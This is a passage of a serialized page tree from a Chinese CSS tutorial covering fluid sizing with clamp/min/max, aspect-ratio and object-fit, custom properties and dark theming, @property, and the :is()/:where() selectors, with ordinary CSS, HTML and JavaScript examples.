2.2",[331,115174,109859],{"class":616},[331,115176,409],{"class":337},[331,115178,351],{"class":344},[331,115180,109814],{"class":616},[331,115182,111705],{"class":337},[331,115184,115185,115187,115189,115192,115194,115196,115198,115201,115203,115205,115207,115209,115211,115213,115215,115217,115219,115221,115223,115225,115227,115229,115231,115233,115235,115237,115239,115241],{"class":333,"line":341},[331,115186,26371],{"class":497},[331,115188,605],{"class":337},[331,115190,115191],{"class":344},"padding-block",[331,115193,348],{"class":337},[331,115195,115154],{"class":344},[331,115197,966],{"class":337},[331,115199,115200],{"class":344},"24",[331,115202,617],{"class":616},[331,115204,409],{"class":337},[331,115206,15097],{"class":344},[331,115208,109859],{"class":616},[331,115210,409],{"class":337},[331,115212,39057],{"class":344},[331,115214,617],{"class":616},[331,115216,24886],{"class":337},[331,115218,110497],{"class":344},[331,115220,348],{"class":337},[331,115222,115154],{"class":344},[331,115224,966],{"class":337},[331,115226,39054],{"class":344},[331,115228,617],{"class":616},[331,115230,409],{"class":337},[331,115232,57144],{"class":344},[331,115234,109859],{"class":616},[331,115236,409],{"class":337},[331,115238,638],{"class":344},[331,115240,617],{"class":616},[331,115242,111705],{"class":337},[11,115244,115245,115246,115249,115250,115253],{},"理想值必须是",[17,115247,115248],{},"带视口单位的表达式","才会真的流动（只写单值就退化成 min\u002Fmax 选择）。斜率换算：",[22,115251,115252],{},"(最大px − 最小px) ÷ (最大视口px − 最小视口px) × 100","，基准 = 最小px − 斜率 × 最小视口px ÷ 100。",[11,115255,115256,1901,115258,115260],{},[22,115257,115123],{},[22,115259,115126],{}," 常一行替掉一条媒体查询：",[308,115262,115264],{"className":108720,"code":115263,"language":108722,"meta":314,"style":314},".wrap { width: min(100% - 2rem, 68rem); margin-inline: auto; }   \u002F* 上限 68rem，窄屏自动留边距 *\u002F\n.gutter { padding-inline: max(1rem, env(safe-area-inset-left)); }  \u002F* 刘海屏安全区 *\u002F\n",[22,115265,115266,115312],{"__ignoreMap":314},[331,115267,115268,115271,115273,115275,115277,115279,115281,115283,115285,115287,115289,115291,115293,115296,115298,115300,115303,115305,115307,115309],{"class":333,"line":334},[331,115269,115270],{"class":501},".wrap",[331,115272,605],{"class":337},[331,115274,608],{"class":344},[331,115276,348],{"class":337},[331,115278,113735],{"class":344},[331,115280,966],{"class":337},[331,115282,712],{"class":344},[331,115284,715],{"class":616},[331,115286,63216],{"class":616},[331,115288,18023],{"class":344},[331,115290,109814],{"class":616},[331,115292,409],{"class":337},[331,115294,115295],{"class":344},"68",[331,115297,109814],{"class":616},[331,115299,24886],{"class":337},[331,115301,115302],{"class":344},"margin-inline",[331,115304,348],{"class":337},[331,115306,90367],{"class":344},[331,115308,35033],{"class":337},[331,115310,115311],{"class":1003},"\u002F* 上限 68rem，窄屏自动留边距 *\u002F\n",[331,115313,115314,115317,115319,115322,115324,115326,115328,115330,115332,115334,115337,115340],{"class":333,"line":341},[331,115315,115316],{"class":501},".gutter",[331,115318,605],{"class":337},[331,115320,115321],{"class":344},"padding-inline",[331,115323,348],{"class":337},[331,115325,30126],{"class":344},[331,115327,966],{"class":337},[331,115329,7993],{"class":344},[331,115331,109814],{"class":616},[331,115333,409],{"class":337},[331,115335,115336],{"class":2472},"env(safe-area-inset-left",[331,115338,115339],{"class":337},")); }  ",[331,115341,115342],{"class":1003},"\u002F* 刘海屏安全区 *\u002F\n",[53,115344,115346,5160,115348,115350],{"id":115345},"aspect-ratio-与-object-fit图片适配的两个正交属性",[22,115347,114999],{},[22,115349,111316],{},"：图片适配的两个正交属性",[11,115352,115353,115356,115357,115360,115361,115363,115364,115367],{},[22,115354,115355],{},"aspect-ratio: 16 \u002F 9"," 让盒子保持比例（取代 ",[22,115358,115359],{},"padding-top: 56.25%"," 那套 hack）；",[22,115362,111316],{}," 让",[17,115365,115366],{},"替换元素的内容","在这个盒子里如何被裁：",[57,115369,115370,115380],{},[60,115371,115372],{},[63,115373,115374,115376,115378],{},[66,115375,62845],{},[66,115377,43744],{},[66,115379,1875],{},[79,115381,115382,115394,115406,115418,115430],{},[63,115383,115384,115388,115391],{},[84,115385,115386],{},[22,115387,24316],{},[84,115389,115390],{},"默认，拉伸变形",[84,115392,115393],{},"几乎不用",[63,115395,115396,115400,115403],{},[84,115397,115398],{},[22,115399,111309],{},[84,115401,115402],{},"完整显示，可能留白",[84,115404,115405],{},"logo、截图、图表",[63,115407,115408,115412,115415],{},[84,115409,115410],{},[22,115411,111291],{},[84,115413,115414],{},"铺满并裁切",[84,115416,115417],{},"等尺寸缩略图、卡片封面",[63,115419,115420,115424,115427],{},[84,115421,115422],{},[22,115423,50866],{},[84,115425,115426],{},"原尺寸居中裁",[84,115428,115429],{},"图标",[63,115431,115432,115437,115444],{},[84,115433,115434],{},[22,115435,115436],{},"scale-down",[84,115438,115439,5160,115441,115443],{},[22,115440,50866],{},[22,115442,111309],{}," 中取较小的",[84,115445,115446],{},"大图不放大",[11,115448,4675,115449,115452,115453,115456,115457,115460,115461,4809,115463,115465],{},[22,115450,115451],{},"object-position: right top"," 指定裁切时保留哪一侧（人像图常用 ",[22,115454,115455],{},"center 25%"," 保住脸）。",[17,115458,115459],{},"卡片封面的标准配方","就是两者相加：",[22,115462,115355],{},[22,115464,111906],{},"——本站教程入口卡片正是这个写法，所以三张 16:9 的封面 SVG 放进去不会被裁掉内容。",[11,115467,115468,115469,115471,115472,655,115474,115476,115477,115480],{},"还有一条防布局抖动的规则（CLS）：",[22,115470,111319],{}," 必须写 ",[22,115473,608],{},[22,115475,99201],{}," 属性，配合 ",[22,115478,115479],{},"img { max-width: 100%; height: auto; }","，比例由 HTML 属性提供、尺寸由 CSS 限制。",[48,115482,115484],{"id":115483},"十四自定义属性与主题化","十四、自定义属性与主题化",[11,115486,115487],{},"自定义属性（custom properties，俗称 CSS 变量）是这门课里回报率最高的一个特性：它同时解决「一处改全站」「组件可配置」「暗色主题」「JS 与 CSS 传值」四件事。",[4748,115489],{"height":6589,"src":115490,"title":115491},"\u002Ftutorials\u002Fcss\u002Fdemos\u002F14-custom-props.html","示例 14：变量作用域、暗色主题与 JS 读写",[53,115493,115495],{"id":115494},"声明与读取两条语法","声明与读取：两条语法",[308,115497,115499],{"className":108720,"code":115498,"language":108722,"meta":314,"style":314},":root { --brand-500: #0969da; --radius-3: 10px; --space-3: 16px; }\n.btn { background: var(--brand-500); border-radius: var(--radius-3); padding: var(--space-3); }\n",[22,115500,115501,115538],{"__ignoreMap":314},[331,115502,115503,115505,115507,115510,115512,115514,115516,115519,115521,115523,115525,115527,115530,115532,115534,115536],{"class":333,"line":334},[331,115504,110146],{"class":501},[331,115506,605],{"class":337},[331,115508,115509],{"class":2472},"--brand-500",[331,115511,348],{"class":337},[331,115513,109986],{"class":344},[331,115515,620],{"class":337},[331,115517,115518],{"class":2472},"--radius-3",[331,115520,348],{"class":337},[331,115522,724],{"class":344},[331,115524,617],{"class":616},[331,115526,620],{"class":337},[331,115528,115529],{"class":2472},"--space-3",[331,115531,348],{"class":337},[331,115533,38994],{"class":344},[331,115535,617],{"class":616},[331,115537,664],{"class":337},[331,115539,115540,115542,115544,115546,115548,115550,115552,115554,115556,115558,115560,115562,115564,115566,115568,115570,115572,115574,115576,115578],{"class":333,"line":341},[331,115541,109486],{"class":501},[331,115543,605],{"class":337},[331,115545,35025],{"class":344},[331,115547,348],{"class":337},[331,115549,18923],{"class":344},[331,115551,966],{"class":337},[331,115553,115509],{"class":2472},[331,115555,24886],{"class":337},[331,115557,111842],{"class":344},[331,115559,348],{"class":337},[331,115561,18923],{"class":344},[331,115563,966],{"class":337},[331,115565,115518],{"class":2472},[331,115567,24886],{"class":337},[331,115569,633],{"class":344},[331,115571,348],{"class":337},[331,115573,18923],{"class":344},[331,115575,966],{"class":337},[331,115577,115529],{"class":2472},[331,115579,111705],{"class":337},[11,115581,115582,115583,115586],{},"它与预处理器变量的本质区别：",[17,115584,115585],{},"预处理器变量在编译期被替换成常量，自定义属性在渲染期按元素逐个求解","。所以它是活的——会继承、会被就近覆盖、能被 JS 在运行时改，也能被媒体查询改写。",[53,115588,115589],{"id":115589},"命名与作用域",[11,115591,115592,115593,272,115596,272,115599,272,115601,272,115603,115606,115607,2012,115610,115613],{},"命名建议「类别-语义-刻度」：",[22,115594,115595],{},"--text-1",[22,115597,115598],{},"--bg-2",[22,115600,115509],{},[22,115602,115529],{},[22,115604,115605],{},"--radius-2","。反面例子是 ",[22,115608,115609],{},"--blue",[22,115611,115612],{},"--big","：这类「描述外观」的名字在换主题时会立刻失效（暗色下那个蓝已经不是你写的蓝），而描述意图的名字只需要改取值。",[11,115615,115616],{},"作用域由声明它的那个选择器决定：",[1773,115618,115619,115625,115628,115637],{},[1662,115620,115621,115622,115624],{},"写在 ",[22,115623,110146],{}," → 全站可见；",[1662,115626,115627],{},"写在组件类上 → 只有该子树可见；",[1662,115629,115621,115630,115632,115633,115636],{},[22,115631,114758],{}," 里 → 响应式变量（本站的 ",[22,115634,115635],{},"--header-h"," 就随窄屏变化）；",[1662,115638,115639,115640,115642],{},"写在元素的内联 ",[22,115641,595],{}," 上 → 只有这一个元素及其后代可见，也是「使用方定制组件」的入口。",[53,115644,115646,115649],{"id":115645},"var-的回退值与无效行为",[22,115647,115648],{},"var()"," 的回退值与「无效」行为",[308,115651,115653],{"className":108720,"code":115652,"language":108722,"meta":314,"style":314},".x { color: var(--maybe, blue); }          \u002F* 变量不存在时用回退值 *\u002F\n.y { padding: var(--a, var(--b, 8px)); }   \u002F* 回退可以嵌套 *\u002F\n.z { width: calc(var(--w, 100px) * 2); }   \u002F* 回退参与计算 *\u002F\n",[22,115654,115655,115684,115723],{"__ignoreMap":314},[331,115656,115657,115660,115662,115664,115666,115668,115670,115673,115675,115678,115681],{"class":333,"line":334},[331,115658,115659],{"class":501},".x",[331,115661,605],{"class":337},[331,115663,109612],{"class":344},[331,115665,348],{"class":337},[331,115667,18923],{"class":344},[331,115669,966],{"class":337},[331,115671,115672],{"class":2472},"--maybe",[331,115674,409],{"class":337},[331,115676,115677],{"class":344},"blue",[331,115679,115680],{"class":337},"); }          ",[331,115682,115683],{"class":1003},"\u002F* 变量不存在时用回退值 *\u002F\n",[331,115685,115686,115689,115691,115693,115695,115697,115699,115702,115704,115706,115708,115711,115713,115715,115717,115720],{"class":333,"line":341},[331,115687,115688],{"class":501},".y",[331,115690,605],{"class":337},[331,115692,633],{"class":344},[331,115694,348],{"class":337},[331,115696,18923],{"class":344},[331,115698,966],{"class":337},[331,115700,115701],{"class":2472},"--a",[331,115703,409],{"class":337},[331,115705,18923],{"class":344},[331,115707,966],{"class":337},[331,115709,115710],{"class":2472},"--b",[331,115712,409],{"class":337},[331,115714,39054],{"class":344},[331,115716,617],{"class":616},[331,115718,115719],{"class":337},")); }   ",[331,115721,115722],{"class":1003},"\u002F* 回退可以嵌套 *\u002F\n",[331,115724,115725,115728,115730,115732,115734,115736,115738,115740,115742,115745,115747,115749,115751,115753,115755,115757,115760],{"class":333,"line":357},[331,115726,115727],{"class":501},".z",[331,115729,605],{"class":337},[331,115731,608],{"class":344},[331,115733,348],{"class":337},[331,115735,114564],{"class":344},[331,115737,966],{"class":337},[331,115739,18923],{"class":344},[331,115741,966],{"class":337},[331,115743,115744],{"class":2472},"--w",[331,115746,409],{"class":337},[331,115748,712],{"class":344},[331,115750,617],{"class":616},[331,115752,3180],{"class":337},[331,115754,18020],{"class":616},[331,115756,18023],{"class":344},[331,115758,115759],{"class":337},"); }   ",[331,115761,115762],{"class":1003},"\u002F* 回退参与计算 *\u002F\n",[11,115764,115765,115766,115768],{},"变量未定义且没给回退时，整条声明在该元素上被视为",[17,115767,112225],{},"（相当于回到继承值或初始值），不会报错、不会崩溃——所以「变量拼错」的表现是样式静默丢失，排查要看 Computed 面板。",[11,115770,115771,115772,115775],{},"一个必须知道的特例：用 ",[22,115773,115774],{},"@property"," 注册过的变量有「guaranteed-invalid」之外的初值语义，值为空时行为与未定义不同；未注册的变量请一律给回退值。",[53,115777,115779],{"id":115778},"主题化只改变量一条规则都不动","主题化：只改变量，一条规则都不动",[308,115781,115783],{"className":108720,"code":115782,"language":108722,"meta":314,"style":314},":root { --bg-1: #fff; --text-1: #24292f; --brand-500: #0969da; color-scheme: light; }\nhtml[data-theme='dark'] { --bg-1: #0d1117; --text-1: #e6edf3; --brand-500: #6aa8ff; color-scheme: dark; }\n",[22,115784,115785,115825],{"__ignoreMap":314},[331,115786,115787,115789,115791,115794,115796,115798,115800,115802,115804,115806,115808,115810,115812,115814,115816,115819,115821,115823],{"class":333,"line":334},[331,115788,110146],{"class":501},[331,115790,605],{"class":337},[331,115792,115793],{"class":2472},"--bg-1",[331,115795,348],{"class":337},[331,115797,110156],{"class":344},[331,115799,620],{"class":337},[331,115801,115595],{"class":2472},[331,115803,348],{"class":337},[331,115805,108750],{"class":344},[331,115807,620],{"class":337},[331,115809,115509],{"class":2472},[331,115811,348],{"class":337},[331,115813,109986],{"class":344},[331,115815,620],{"class":337},[331,115817,115818],{"class":344},"color-scheme",[331,115820,348],{"class":337},[331,115822,4328],{"class":344},[331,115824,664],{"class":337},[331,115826,115827,115829,115831,115833,115835,115837,115839,115841,115843,115845,115847,115849,115851,115853,115855,115857,115859,115861,115863,115865,115867,115870],{"class":333,"line":341},[331,115828,487],{"class":497},[331,115830,2487],{"class":337},[331,115832,13269],{"class":501},[331,115834,518],{"class":616},[331,115836,71515],{"class":365},[331,115838,110191],{"class":337},[331,115840,115793],{"class":2472},[331,115842,348],{"class":337},[331,115844,110198],{"class":344},[331,115846,620],{"class":337},[331,115848,115595],{"class":2472},[331,115850,348],{"class":337},[331,115852,110207],{"class":344},[331,115854,620],{"class":337},[331,115856,115509],{"class":2472},[331,115858,348],{"class":337},[331,115860,110216],{"class":344},[331,115862,620],{"class":337},[331,115864,115818],{"class":344},[331,115866,348],{"class":337},[331,115868,115869],{"class":344},"dark",[331,115871,664],{"class":337},[11,115873,115874],{},"三件配套事项：",[1659,115876,115877,115884,115895],{},[1662,115878,115879,115883],{},[17,115880,4660,115881],{},[22,115882,115818],{},"：一行让浏览器的默认控件、滚动条、表单底色、高亮色一起切换，成本极低；",[1662,115885,115886,115889,115890,4843,115892,115894],{},[17,115887,115888],{},"暗色下品牌色要重新调","：降饱和、提明度（",[22,115891,109986],{},[22,115893,110216],{},"）。深蓝底配高饱和原色会「发光」刺眼；简单取反（黑底白字）也不是好主题；",[1662,115896,115897,115900,115901,1677,115903,115905,115906,115908],{},[17,115898,115899],{},"切换与持久化","：JS 改 ",[22,115902,13280],{},[22,115904,13269],{},"，把选择存进 ",[22,115907,2771],{},"，并在首屏绘制前用一段内联脚本应用，否则会闪一下浅色（FOUC）。",[11,115910,115911,115912,5760,115915,115918],{},"本站就是这一套：",[22,115913,115914],{},"main.css",[22,115916,115917],{},"html[data-theme='dark']"," 覆盖同一批变量名，所有组件的规则完全不用改。",[11,115920,115921,115922,115925,115926,115928],{},"如果你更希望跟随系统而不是手动切换，把选择器换成 ",[22,115923,115924],{},"@media (prefers-color-scheme: dark)","（第十三章）；两者可以共存：先按系统给默认值，再用 ",[22,115927,13269],{}," 让用户覆盖。",[53,115930,115932],{"id":115931},"组件级变量把变量当公共-api","组件级变量：把变量当「公共 API」",[308,115934,115936],{"className":108720,"code":115935,"language":108722,"meta":314,"style":314},".badge { --badge-bg: #eaeef2; --badge-fg: #24292f; background: var(--badge-bg); color: var(--badge-fg); }\n",[22,115937,115938],{"__ignoreMap":314},[331,115939,115940,115942,115944,115947,115949,115951,115953,115956,115958,115960,115962,115964,115966,115968,115970,115972,115974,115976,115978,115980,115982,115984],{"class":333,"line":334},[331,115941,114607],{"class":501},[331,115943,605],{"class":337},[331,115945,115946],{"class":2472},"--badge-bg",[331,115948,348],{"class":337},[331,115950,111697],{"class":344},[331,115952,620],{"class":337},[331,115954,115955],{"class":2472},"--badge-fg",[331,115957,348],{"class":337},[331,115959,108750],{"class":344},[331,115961,620],{"class":337},[331,115963,35025],{"class":344},[331,115965,348],{"class":337},[331,115967,18923],{"class":344},[331,115969,966],{"class":337},[331,115971,115946],{"class":2472},[331,115973,24886],{"class":337},[331,115975,109612],{"class":344},[331,115977,348],{"class":337},[331,115979,18923],{"class":344},[331,115981,966],{"class":337},[331,115983,115955],{"class":2472},[331,115985,111705],{"class":337},[11,115987,115988,115989,115991],{},"使用方不需要新增类名、不需要 ",[22,115990,24107],{},"，只要给祖先或自身设变量就能定制：",[308,115993,115995],{"className":485,"code":115994,"language":487,"meta":314,"style":314},"\u003Cspan class=\"badge\" style=\"--badge-bg:#ddf4ff\">定制色\u003C\u002Fspan>\n\u003Cdiv class=\"zone\">\u003C!-- 这里的 badge 全部换色 -->\u003C\u002Fdiv>\n",[22,115996,115997,116024],{"__ignoreMap":314},[331,115998,115999,116001,116003,116005,116007,116010,116012,116014,116017,116020,116022],{"class":333,"line":334},[331,116000,510],{"class":337},[331,116002,331],{"class":497},[331,116004,6024],{"class":501},[331,116006,518],{"class":337},[331,116008,116009],{"class":365},"\"badge\"",[331,116011,1558],{"class":501},[331,116013,518],{"class":337},[331,116015,116016],{"class":365},"\"--badge-bg:#ddf4ff\"",[331,116018,116019],{"class":337},">定制色\u003C\u002F",[331,116021,331],{"class":497},[331,116023,505],{"class":337},[331,116025,116026,116028,116030,116032,116034,116037,116039,116042,116044,116046],{"class":333,"line":341},[331,116027,510],{"class":337},[331,116029,6021],{"class":497},[331,116031,6024],{"class":501},[331,116033,518],{"class":337},[331,116035,116036],{"class":365},"\"zone\"",[331,116038,42343],{"class":337},[331,116040,116041],{"class":1003},"\u003C!-- 这里的 badge 全部换色 -->",[331,116043,788],{"class":337},[331,116045,6021],{"class":497},[331,116047,505],{"class":337},[11,116049,116050],{},"这比「写十个修饰类」更可组合，尤其适合图表、卡片、主题色块一类需要按数据着色的组件。",[53,116052,116053],{"id":116053},"用变量驱动计算与响应式",[308,116055,116057],{"className":108720,"code":116056,"language":108722,"meta":314,"style":314},".grid-auto { --cols: 3; grid-template-columns: repeat(var(--cols), 1fr); gap: var(--space-3); }\n.bar { --pct: 62%; } .bar > i { width: var(--pct); }\n@media (max-width: 40rem) { :root { --cols: 1; --space-3: 12px; --header-h: 96px; } }\n",[22,116058,116059,116109,116147],{"__ignoreMap":314},[331,116060,116061,116064,116066,116069,116071,116073,116075,116077,116079,116081,116083,116085,116087,116089,116091,116093,116095,116097,116099,116101,116103,116105,116107],{"class":333,"line":334},[331,116062,116063],{"class":501},".grid-auto",[331,116065,605],{"class":337},[331,116067,116068],{"class":2472},"--cols",[331,116070,348],{"class":337},[331,116072,351],{"class":344},[331,116074,620],{"class":337},[331,116076,113375],{"class":344},[331,116078,348],{"class":337},[331,116080,65629],{"class":344},[331,116082,966],{"class":337},[331,116084,18923],{"class":344},[331,116086,966],{"class":337},[331,116088,116068],{"class":2472},[331,116090,72027],{"class":337},[331,116092,7993],{"class":344},[331,116094,109909],{"class":616},[331,116096,24886],{"class":337},[331,116098,110497],{"class":344},[331,116100,348],{"class":337},[331,116102,18923],{"class":344},[331,116104,966],{"class":337},[331,116106,115529],{"class":2472},[331,116108,111705],{"class":337},[331,116110,116111,116114,116116,116119,116121,116123,116125,116127,116129,116131,116133,116135,116137,116139,116141,116143,116145],{"class":333,"line":341},[331,116112,116113],{"class":501},".bar",[331,116115,605],{"class":337},[331,116117,116118],{"class":2472},"--pct",[331,116120,348],{"class":337},[331,116122,111690],{"class":344},[331,116124,715],{"class":616},[331,116126,82718],{"class":337},[331,116128,116113],{"class":501},[331,116130,56464],{"class":616},[331,116132,35400],{"class":497},[331,116134,605],{"class":337},[331,116136,608],{"class":344},[331,116138,348],{"class":337},[331,116140,18923],{"class":344},[331,116142,966],{"class":337},[331,116144,116118],{"class":2472},[331,116146,111705],{"class":337},[331,116148,116149,116151,116153,116155,116157,116159,116161,116163,116165,116167,116169,116171,116173,116175,116177,116179,116181,116183,116185,116187,116189,116192,116194],{"class":333,"line":357},[331,116150,114758],{"class":616},[331,116152,1147],{"class":337},[331,116154,108489],{"class":344},[331,116156,348],{"class":337},[331,116158,114338],{"class":344},[331,116160,109814],{"class":616},[331,116162,31033],{"class":337},[331,116164,110146],{"class":501},[331,116166,605],{"class":337},[331,116168,116068],{"class":2472},[331,116170,348],{"class":337},[331,116172,7993],{"class":344},[331,116174,620],{"class":337},[331,116176,115529],{"class":2472},[331,116178,348],{"class":337},[331,116180,93883],{"class":344},[331,116182,617],{"class":616},[331,116184,620],{"class":337},[331,116186,115635],{"class":2472},[331,116188,348],{"class":337},[331,116190,116191],{"class":344},"96",[331,116193,617],{"class":616},[331,116195,114888],{"class":337},[11,116197,116198,116199,116201],{},"把「断点决定的一组尺寸」集中成变量，比在每个规则里重复写媒体查询干净得多——这也是本站把吸顶高度写成 ",[22,116200,115635],{}," 并在滚动判定里读取的原因。",[53,116203,116205],{"id":116204},"用-js-读写变量","用 JS 读写变量",[308,116207,116209],{"className":942,"code":116208,"language":944,"meta":314,"style":314},"getComputedStyle(el).getPropertyValue('--brand-500').trim();   \u002F\u002F 读解析后的值\nel.style.setProperty('--pct', '80%');                          \u002F\u002F 写（只影响这棵子树）\nel.style.removeProperty('--pct');                              \u002F\u002F 删内联值，落回样式表\n",[22,116210,116211,116237,116261],{"__ignoreMap":314},[331,116212,116213,116216,116219,116222,116224,116227,116229,116231,116234],{"class":333,"line":334},[331,116214,116215],{"class":501},"getComputedStyle",[331,116217,116218],{"class":337},"(el).",[331,116220,116221],{"class":501},"getPropertyValue",[331,116223,966],{"class":337},[331,116225,116226],{"class":365},"'--brand-500'",[331,116228,67721],{"class":337},[331,116230,23165],{"class":501},[331,116232,116233],{"class":337},"();   ",[331,116235,116236],{"class":1003},"\u002F\u002F 读解析后的值\n",[331,116238,116239,116242,116245,116247,116250,116252,116255,116258],{"class":333,"line":341},[331,116240,116241],{"class":337},"el.style.",[331,116243,116244],{"class":501},"setProperty",[331,116246,966],{"class":337},[331,116248,116249],{"class":365},"'--pct'",[331,116251,409],{"class":337},[331,116253,116254],{"class":365},"'80%'",[331,116256,116257],{"class":337},");                          ",[331,116259,116260],{"class":1003},"\u002F\u002F 写（只影响这棵子树）\n",[331,116262,116263,116265,116268,116270,116272,116275],{"class":333,"line":357},[331,116264,116241],{"class":337},[331,116266,116267],{"class":501},"removeProperty",[331,116269,966],{"class":337},[331,116271,116249],{"class":365},[331,116273,116274],{"class":337},");                              ",[331,116276,116277],{"class":1003},"\u002F\u002F 删内联值，落回样式表\n",[11,116279,116280],{},"反过来「JS 把状态传给 CSS」也用它，比切一堆类名更可组合：",[308,116282,116284],{"className":485,"code":116283,"language":487,"meta":314,"style":314},"\u003Cdiv style=\"--index: 3\">…\u003C\u002Fdiv>\n",[22,116285,116286],{"__ignoreMap":314},[331,116287,116288,116290,116292,116294,116296,116299,116301,116303],{"class":333,"line":334},[331,116289,510],{"class":337},[331,116291,6021],{"class":497},[331,116293,1558],{"class":501},[331,116295,518],{"class":337},[331,116297,116298],{"class":365},"\"--index: 3\"",[331,116300,6274],{"class":337},[331,116302,6021],{"class":497},[331,116304,505],{"class":337},[308,116306,116308],{"className":108720,"code":116307,"language":108722,"meta":314,"style":314},".item { transition-delay: calc(var(--index) * 60ms); }\n",[22,116309,116310],{"__ignoreMap":314},[331,116311,116312,116315,116317,116320,116322,116324,116326,116328,116330,116333,116335,116337,116339,116341],{"class":333,"line":334},[331,116313,116314],{"class":501},".item",[331,116316,605],{"class":337},[331,116318,116319],{"class":344},"transition-delay",[331,116321,348],{"class":337},[331,116323,114564],{"class":344},[331,116325,966],{"class":337},[331,116327,18923],{"class":344},[331,116329,966],{"class":337},[331,116331,116332],{"class":2472},"--index",[331,116334,3180],{"class":337},[331,116336,18020],{"class":616},[331,116338,10600],{"class":344},[331,116340,109973],{"class":616},[331,116342,111705],{"class":337},[11,116344,116345,116346,116349,116350,116352],{},"一个限制：",[17,116347,116348],{},"变量本身不能被平滑过渡","（浏览器不知道该按什么规则插值）。要动画变量，先用 ",[22,116351,115774],{}," 注册语法类型：",[308,116354,116356],{"className":108720,"code":116355,"language":108722,"meta":314,"style":314},"@property --pct { syntax: \"\u003Cpercentage>\"; inherits: false; initial-value: 0%; }\n.bar > i { width: var(--pct); transition: --pct .6s ease; }   \u002F* 现在可动画了 *\u002F\n",[22,116357,116358,116392],{"__ignoreMap":314},[331,116359,116360,116362,116365,116368,116370,116373,116375,116378,116381,116384,116386,116388,116390],{"class":333,"line":334},[331,116361,115774],{"class":616},[331,116363,116364],{"class":337}," --pct { ",[331,116366,116367],{"class":344},"syntax",[331,116369,348],{"class":337},[331,116371,116372],{"class":365},"\"\u003Cpercentage>\"",[331,116374,620],{"class":337},[331,116376,116377],{"class":344},"inherits",[331,116379,116380],{"class":337},": false; ",[331,116382,116383],{"class":344},"initial-value",[331,116385,348],{"class":337},[331,116387,628],{"class":344},[331,116389,715],{"class":616},[331,116391,664],{"class":337},[331,116393,116394,116396,116398,116400,116402,116404,116406,116408,116410,116412,116414,116416,116419,116422,116424,116426,116428],{"class":333,"line":341},[331,116395,116113],{"class":501},[331,116397,56464],{"class":616},[331,116399,35400],{"class":497},[331,116401,605],{"class":337},[331,116403,608],{"class":344},[331,116405,348],{"class":337},[331,116407,18923],{"class":344},[331,116409,966],{"class":337},[331,116411,116118],{"class":2472},[331,116413,24886],{"class":337},[331,116415,7466],{"class":344},[331,116417,116418],{"class":337},": --pct ",[331,116420,116421],{"class":344},".6",[331,116423,21542],{"class":616},[331,116425,112409],{"class":344},[331,116427,35033],{"class":337},[331,116429,116430],{"class":1003},"\u002F* 现在可动画了 *\u002F\n",[11,116432,116433,116434,116436],{},"浏览器基线：",[22,116435,115774],{}," 在 Chrome 85 \u002F Safari 16.4 \u002F Firefox 128 一线支持，属渐进增强能力，不支持时过渡静默退化为跳变，布局不受影响；落笔前请以 caniuse 当前数据为准。",[53,116438,116439],{"id":116439},"常见误区速查",[57,116441,116442,116451],{},[60,116443,116444],{},[63,116445,116446,116449],{},[66,116447,116448],{},"误区",[66,116450,52604],{},[79,116452,116453,116461,116469,116483,116491],{},[63,116454,116455,116458],{},[84,116456,116457],{},"变量是常量",[84,116459,116460],{},"按元素逐个求解，会继承、会被就近覆盖",[63,116462,116463,116466],{},[84,116464,116465],{},"值只能是颜色或长度",[84,116467,116468],{},"可以是任意 token 序列，包括整串阴影值",[63,116470,116471,116477],{},[84,116472,116473,116476],{},[22,116474,116475],{},"calc()"," 里可以随便乘变量",[84,116478,116479,116480],{},"长度计算要求带单位，纯数字变量要写成 ",[22,116481,116482],{},"calc(var(--n) * 1px)",[63,116484,116485,116488],{},[84,116486,116487],{},"循环引用会崩",[84,116489,116490],{},"相关声明静默无效（不报错，但很难查）",[63,116492,116493,116496],{},[84,116494,116495],{},"变量性能差",[84,116497,116498],{},"解析成本可忽略，别为了「少几个变量」放弃主题化",[48,116500,116502],{"id":116501},"十五现代选择器与函数少写权重少写类名","十五、现代选择器与函数：少写权重、少写类名",[11,116504,116505],{},"这一章的选择器都不是「锦上添花」：它们各自替掉了一类以前必须靠 JS 或靠加权重才能完成的需求。",[4748,116507],{"height":116508,"src":116509,"title":116510},900,"\u002Ftutorials\u002Fcss\u002Fdemos\u002F15-modern-selectors.html","示例 15：:is()\u002F:where()\u002F:has()、nth-child of S 与 calc() 混合单位",[53,116512,116514,5160,116516,116518],{"id":116513},"is-与-where把选择器体积收敛掉",[22,116515,109546],{},[22,116517,109542],{},"：把选择器体积收敛掉",[308,116520,116522],{"className":108720,"code":116521,"language":108722,"meta":314,"style":314},"\u002F* 展开写法：4 个前缀 × 3 个后缀 = 12 条 *\u002F\n.card .title, .card .meta, .panel .title, .panel .meta { … }\n\u002F* 收敛写法：一条 *\u002F\n:is(.card, .panel) :is(.title, .meta) { … }\n",[22,116523,116524,116529,116557,116562],{"__ignoreMap":314},[331,116525,116526],{"class":333,"line":334},[331,116527,116528],{"class":1003},"\u002F* 展开写法：4 个前缀 × 3 个后缀 = 12 条 *\u002F\n",[331,116530,116531,116533,116536,116538,116540,116543,116545,116547,116549,116551,116553,116555],{"class":333,"line":341},[331,116532,109053],{"class":501},[331,116534,116535],{"class":501}," .title",[331,116537,409],{"class":337},[331,116539,109053],{"class":501},[331,116541,116542],{"class":501}," .meta",[331,116544,409],{"class":337},[331,116546,113828],{"class":501},[331,116548,116535],{"class":501},[331,116550,409],{"class":337},[331,116552,113828],{"class":501},[331,116554,116542],{"class":501},[331,116556,69924],{"class":337},[331,116558,116559],{"class":333,"line":357},[331,116560,116561],{"class":1003},"\u002F* 收敛写法：一条 *\u002F\n",[331,116563,116564,116566,116568,116570,116572,116574,116576,116578,116580,116582,116584,116586],{"class":333,"line":371},[331,116565,30463],{"class":501},[331,116567,966],{"class":337},[331,116569,109053],{"class":501},[331,116571,409],{"class":337},[331,116573,113828],{"class":501},[331,116575,3180],{"class":337},[331,116577,30463],{"class":501},[331,116579,966],{"class":337},[331,116581,108738],{"class":501},[331,116583,409],{"class":337},[331,116585,23793],{"class":501},[331,116587,116588],{"class":337},") { … }\n",[11,116590,116591],{},"两者唯一的但关键的差别是权重：",[1773,116593,116594,116604],{},[1662,116595,116596,116599,116600,116603],{},[22,116597,116598],{},":is(A, B)"," 的权重 = 参数里",[17,116601,116602],{},"最高","的那个；",[1662,116605,116606,116609,116610,161],{},[22,116607,116608],{},":where(A, B)"," 的权重 = ",[17,116611,628],{},[11,116613,116614,116615,116617,116618,116620,116621,161],{},"所以给组件写「默认样式」时用 ",[22,116616,109542],{},"（使用方随手就能覆盖，不需要 ",[22,116619,24107],{},"），需要强调时用 